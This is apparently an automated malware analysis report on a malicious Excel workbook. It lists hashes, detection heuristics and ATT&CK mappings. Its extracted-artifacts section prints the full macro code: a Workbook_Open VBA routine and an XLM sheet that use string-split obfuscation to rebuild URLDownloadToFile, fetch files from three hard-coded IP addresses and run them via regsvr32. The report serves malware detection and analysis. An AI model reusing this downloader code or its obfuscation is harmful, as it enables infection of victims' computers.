Office (OOXML) malware analysis — malicious · 98cc3caf70f33290

MALICIOUS

Office (OOXML)

101.3 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-25

MD5: 75dfd55e4c082a6b859e86540a74567b SHA-1: b603fe031ea1902265c3ca5b27cb6488ad4b1edc SHA-256: 98cc3caf70f33290a476ce3f10fb59d213aff043c6b688cbed322e2935e95fc3

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains a Workbook_Open macro that leverages Excel 4.0 macro functions like REGISTER, EXEC, and CALL to download and execute a second-stage payload. The macro explicitly reconstructs the API name "URLDownloadToFile" and uses formulas to construct URLs pointing to IP addresses, indicating a downloader functionality. The presence of both VBA and XLM macros, along with the use of dangerous XLM functions, strongly suggests a malicious downloader.

Heuristics 8

ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Dangerous XLM formula APIs: RETURN critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium 2 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION

VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://185.141.26.231/ In document text (OOXML body / shared strings)
- http://91.217.76.197/In document text (OOXML body / shared strings)
- http://111.90.148.79/In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	2709 bytes
SHA-256: `a3fc8554a9005dafb64c1ef44e013a51e0537b4822feef39d9552bd5f53291fd`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() On Error Resume Next Application.ScreenUpdating = False Sheets("Loby").Range("I10") = "UR" & "LD" & "ow" & "n" & "lo" & "ad" & "To" & "Fi" & "le" & "A" Sheets("Loby").Range("I12") = "Loster" Sheets("Loby").Range("G10") = "." & "." & "\" & "Flos.det" Sheets("Loby").Range("G11") = "." & "." & "\" & "Flos.det1" Sheets("Loby").Range("G12") = "." & "." & "\" & "Flos.det2" Sheets("Loby").Range("G13") = "." & "." & "\" & "Flos1.ocx" Sheets("Loby").Range("G14") = "." & "." & "\" & "Flos2.ocx" Sheets("Loby").Range("G15") = "." & "." & "\" & "Flos3.ocx" Workbook1234 Sheets("Loby").Range("H10") = "=Loster(0,H24&K17&K18,G10,0,0)" Sheets("Loby").Range("H11") = "=Loster(0,H25&K17&K18,G11,0,0)" Sheets("Loby").Range("H12") = "=Loster(0,H26&K17&K18,G12,0,0)" Sheets("Loby").Range("H13") = "=Loster(0,H27&K17&K19,G13,0,0)" Sheets("Loby").Range("H14") = "=Loster(0,H28&K17&K19,G14,0,0)" Sheets("Loby").Range("H15") = "=Loster(0,H29&K17&K19,G15,0,0)" Sheets("Loby").Range("H9") = "=" & "REGISTER" & "(I9,I10,I11,I12,,1,9)" Sheets("Loby").Range("H17") = "=" & "EXEC" & "(I17)" Sheets("Loby").Range("H18") = "=" & "EXEC" & "(I18)" Sheets("Loby").Range("H19") = "=" & "EXEC" & "(I19)" Sheets("Loby").Range("H20") = "=" & "EXEC" & "(I20)" Sheets("Loby").Range("H21") = "=" & "EXEC" & "(I21)" Sheets("Loby").Range("H22") = "=" & "EXEC" & "(I22)" Application.Run Sheets("Loby").Range("H1") End Sub Sub Workbook1234() Dim RNum As Double RNum = Rnd Sheets("Loby").Range("I17") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Flos.det" Sheets("Loby").Range("I18") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Flos.det1" Sheets("Loby").Range("I19") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Flos.det2" Sheets("Loby").Range("I20") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Flos1.ocx" Sheets("Loby").Range("I21") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Flos2.ocx" Sheets("Loby").Range("I22") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Flos3.ocx" End Sub Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	16384 bytes
SHA-256: `619999bfdeacaba4395c61bc8c5c07a18f077fb574d7f60fb15c319f30c74e41`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml	3457 bytes
SHA-256: `3003127833587fcbd9333089e6ffa5d31d70351c940c77aba06bbb86a6a06525`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{59B5048D-8C7D-40B0-9741-D7729BFD0DEE}"><dimension ref="H9:K44"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="9:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="s"><v>0</v></c></row><row r="11" spans="9:9" x14ac:dyDescent="0.25"><c r="I11" s="2" t="s"><v>1</v></c></row><row r="17" spans="8:11" x14ac:dyDescent="0.25"><c r="K17" s="2"><f>NOW()</f><v>44508.557876273146</v></c></row><row r="18" spans="8:11" x14ac:dyDescent="0.25"><c r="K18" s="2" t="s"><v>2</v></c></row><row r="19" spans="8:11" x14ac:dyDescent="0.25"><c r="K19" s="2" t="s"><v>3</v></c></row><row r="24" spans="8:11" x14ac:dyDescent="0.25"><c r="H24" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&""&"1"&"85."&"1"&"4"&"1"&".26.23"&"1"&""&"/"&""</f><v>http://185.141.26.231/</v></c></row><row r="25" spans="8:11" x14ac:dyDescent="0.25"><c r="H25" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&"9"&"1"&".2"&"1"&"7.76."&"1"&"97"&"/"&""</f><v>http://91.217.76.197/</v></c></row><row r="26" spans="8:11" x14ac:dyDescent="0.25"><c r="H26" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&""&"1"&""&"1"&""&"1"&".90."&"1"&"48.79"&"/"&""</f><v>http://111.90.148.79/</v></c></row><row r="27" spans="8:11" x14ac:dyDescent="0.25"><c r="H27" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&""&"1"&""&"1"&""&"1"&".90."&"1"&"48.79"&"/"&""</f><v>http://111.90.148.79/</v></c></row><row r="28" spans="8:11" x14ac:dyDescent="0.25"><c r="H28" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&""&"1"&"85."&"1"&"4"&"1"&".26.23"&"1"&""&"/"&""</f><v>http://185.141.26.231/</v></c></row><row r="29" spans="8:11" x14ac:dyDescent="0.25"><c r="H29" s="2" t="str"><f>"h"&"t"&"t"&"p"&":"&""&"/"&""&""&"/"&"9"&"1"&".2"&"1"&"7.76."&"1"&"97"&"/"&""</f><v>http://91.217.76.197/</v></c></row><row r="44" spans="8:8" x14ac:dyDescent="0.25"><c r="H44" s="2" t="b"><f>RETURN()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.